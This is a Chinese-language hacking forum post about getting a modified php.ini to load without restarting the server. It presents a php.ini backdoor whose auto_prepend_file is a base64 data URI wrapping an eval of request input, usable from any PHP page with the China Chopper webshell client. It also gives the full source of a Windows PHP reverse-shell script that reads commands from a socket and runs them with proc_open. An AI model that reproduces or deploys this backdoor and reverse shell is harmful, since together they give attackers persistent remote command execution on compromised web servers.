重新加载 php.ini,利用PHP_socke重新加载 PHP.ini

不是首发,拒绝评分!

前言:很多时候,我们需要修改php.ini,却没有办法重启服务...这个就比较头疼了。所以,研究了一下,可以利用PHP_socke让它加载php.ini。

至于原理,我也不是特别明白。。。如果有大佬知道,就请告诉我下...谢谢!

注:这个方法不是100%可以成功的!测试了四台机器有两台成功!

环境: php-5.3.29-NTS (这个NTS是什么鬼?!反正我的phpstudy上就是这样写的)  //其他环境好像也行...好吧,我这句是废话...

今天,测试的是一个比较猥琐的后门,昨晚在吐司找到的。一个大佬发的。是修改php.ini的后门,正常情况下是需要重启服务的。

后门如下:

[PHP] 纯文本查看 复制代码allow_url_include = Off

auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

这个后门在任何的PHP页面都可以用菜刀连接。

然后创了一个MD5.php用作测试。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.png (65.92 KB, 下载次数: 38)

2017-3-27 19:06 上传

echo一个md5的加密值,当然这个正常情况下在菜刀中肯定是不能连接的。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

2.png (43.73 KB, 下载次数: 39)

2017-3-27 19:06 上传

在php.ini中留好后门后,按道理是需要重启服务才可以执行的。如果不重启,我们的菜刀是连接不上的。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.png (82.53 KB, 下载次数: 33)

2017-3-27 19:06 上传

当这种需要重启服务的时候,那就比较尴尬了...

现在,上传php_socke的脚本,运行脚本,再测试连接~

8f3ff2fbfdd7c7c8339951a6542705fa.gif

4.png (74 KB, 下载次数: 34)

2017-3-27 19:06 上传

连接成功....

脚本来自某个大马的一部分,然后改了改。

附脚本:

[PHP] 纯文本查看 复制代码<?php

/*******************************/

/* BY 傀儡 */

/* 我是一只小弱鸡,咿呀咿呀呦~ */

/* 只适用于windows系统 */

/*******************************/

while(true){ //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...

@set_time_limit(0);

$system=strtoupper(substr(PHP_OS, 0, 3));

if(!extension_loaded('sockets'))

{

if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");}

}

$host = '255.255.255.255'; // 搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~

$port = 1998; //别问我为什么是1998,问了我也不会告诉你....

if($system=="WIN"){$env=array('path' => 'c:\\windows\\system32');}

$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),);

$host=gethostbyname($host);

$proto=getprotobyname("tcp");

if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}

if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}

else{

$message=" PHP反弹连接\n";

@socket_write($sock,$message,strlen($message));

$cwd=str_replace('\\','/',dirname(__FILE__));

while($cmd=@socket_read($sock,65535,$proto))

{

if(trim(strtolower($cmd))=="exit"){

socket_write($sock,"Bye\n"); exit;

}else{

$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)){

fwrite($pipes[0], $cmd);

fclose($pipes[0]);

$msg=stream_get_contents($pipes[1]);

socket_write($sock,$msg,strlen($msg));

fclose($pipes[1]);

$msg=stream_get_contents($pipes[2]);

socket_write($sock,$msg,strlen($msg));

$return_value = proc_close($process);

}

}

}

}

}

?>